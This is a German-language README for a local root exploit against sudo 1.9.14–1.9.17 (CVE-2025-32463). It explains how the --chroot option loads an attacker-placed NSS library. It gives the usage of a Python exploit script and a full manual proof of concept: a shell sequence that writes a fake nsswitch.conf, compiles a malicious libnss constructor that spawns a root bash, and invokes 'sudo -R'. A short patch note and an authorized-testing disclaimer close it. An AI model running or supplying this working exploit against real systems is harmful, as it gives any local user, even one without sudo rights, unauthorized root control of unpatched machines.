
Lokaler Privilege-Escalation-Exploit für sudo 1.9.14-1.9.17, der die chroot-Behandlung von CVE-2025-32463 ausnutzt und einen bösartigen NSS-Bibliothekskonstruktor platziert, um für jeden lokalen Benutzer eine Root-Shell zu starten.
Lokale Privilegienerweiterung auf root in sudo über die Option --chroot (-R).
Funktioniert für jeden lokalen Benutzer, einschließlich Konten ganz ohne sudoers-Eintrag (z. B.
www-data).
sudo 1.9.14 – 1.9.17 führt chroot() in das vom Benutzer angegebene Verzeichnis aus, während die sudoers-Richtlinie
noch ausgewertet wird — d. h. vor der Autorisierungsentscheidung. Nach diesem chroot() lesen die
NSS-Abfragen von sudo /etc/nsswitch.conf aus dem Chroot-Verzeichnis des Angreifers, und glibc wandelt einen
gefälschten Quellnamen in dlopen("libnss_<name>.so.2") um — geladen und sein Konstruktor als root ausgeführt.
Das Platzieren einer gefälschten nsswitch.conf (passwd: /woot1337) zusammen mit einer bösartigen libnss_/woot1337.so.2,
deren ELF-Konstruktor setreuid(0) + exec("/bin/bash") ausführt, führt zu einer Root-Shell. Der Exploit
greift vor der sudoers-Prüfung, daher benötigt der Aufrufer keine sudo-Berechtigungen.
1.9.14 – 1.9.171.9.17p1 (die Chroot-Änderung aus 1.9.14 wurde zurückgenommen; die Funktion wurde als veraltet eingestuft)Python-3-Standardbibliothek, ein verwundbares setuid-sudo (1.9.14–1.9.17) und gcc auf dem Zielsystem (um
das winzige libnss-Modul zu bauen). Als unprivilegierter Benutzer ausführen.
python3 exploit.py # -> interactive root shell
python3 exploit.py -c 'id' # run a single command as root
etc/nsswitch.conf = passwd: /woot1337 anlegen (+ eine Kopie von /etc/group).libnss_/woot1337.so.2 kompilieren — ein ELF, dessen Konstruktor (__attribute__((constructor)))
setreuid(0,0) und execl("/bin/bash", …) ausführt.sudo -R woot woot — sudo chrootet in woot, löst NSS auf, lädt libnss_/woot1337.so.2
per dlopen als root, und der Konstruktor liefert eine Root-Shell — bevor sudo überhaupt
prüft, ob der Benutzer autorisiert ist.Kanonischer manueller PoC (Stratascale / pr0v3rbs „chwoot“):
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot # -> root
sudo --version | head -1 # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched
sudo auf ≥ 1.9.17p1 aktualisieren. Die Chroot-Funktion ist veraltet und sollte nicht mehr verwendet werden.
Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Erlaubnis zum Testen haben.